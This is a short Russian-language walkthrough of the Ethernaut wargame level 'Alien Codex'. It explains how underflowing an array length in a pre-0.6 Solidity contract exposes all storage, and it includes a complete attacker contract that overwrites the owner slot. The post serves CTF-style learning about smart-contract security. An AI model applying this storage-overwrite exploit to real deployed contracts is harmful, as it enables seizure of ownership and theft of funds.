Ethernaut. Задача 19. Alien Codex
В этой задаче нам нужно завладеть правами owner.
Ссылка на задачу
В чем суть?
Задача не актуальная для версий языка выше 0.6, потому что метод .length стал read-only.
В самом контракте AlienCodex нет никаких намеков на переменную owner, но если мы развернем контракт, то увидим, что она наследуется из другого контракта Ownable.
По сути, это еще одна задача на работу с памятью контракта и overflow.
Если разобрать контракты внимательнее, то заметим, что переменные owner и contract помещаются в 32 байта, а значит лежат в нулевом слоте памяти. Массив codex лежит уже во втором слоте.
Как намек на дальнейшие действия, нам дана функция retract(), которая уменьшает длину массива. Хотя казалось бы, зачем его уменьшать, когда и так в нем ничего нет.
Однако, выполнив данную функцию, мы вызовем переполнение и получим доступ ко всей памяти контракта. Мы же помним, что максимальная память контракта равна (2 ** 256) - 1?
Затем нам останется всего лишь перевести новый адрес владельца в bytes32, так как revise() принимает этот аргумент, и вызвать поочередно функции AlienCodex контракта (пройти модификатор, вызвать переполнение, записать owner):
contract AlienHack {
AlienCodex alien;
constructor (address _alien) public{
alien = AlienCodex(_alien);
}
function exploit () external {
uint index = ((2 ** 256) - 1) - uint(keccak256(abi.encode(1))) + 1;
bytes32 myAddress = bytes32(uint256(uint160(tx.origin)));
alien.make_contact();
alien.retract();
alien.revise(index, myAddress);
}
}
В index мы просто таким образом вычисляем нулевой слот, где и лежит переменная owner.
#ethernaut
Post #431
201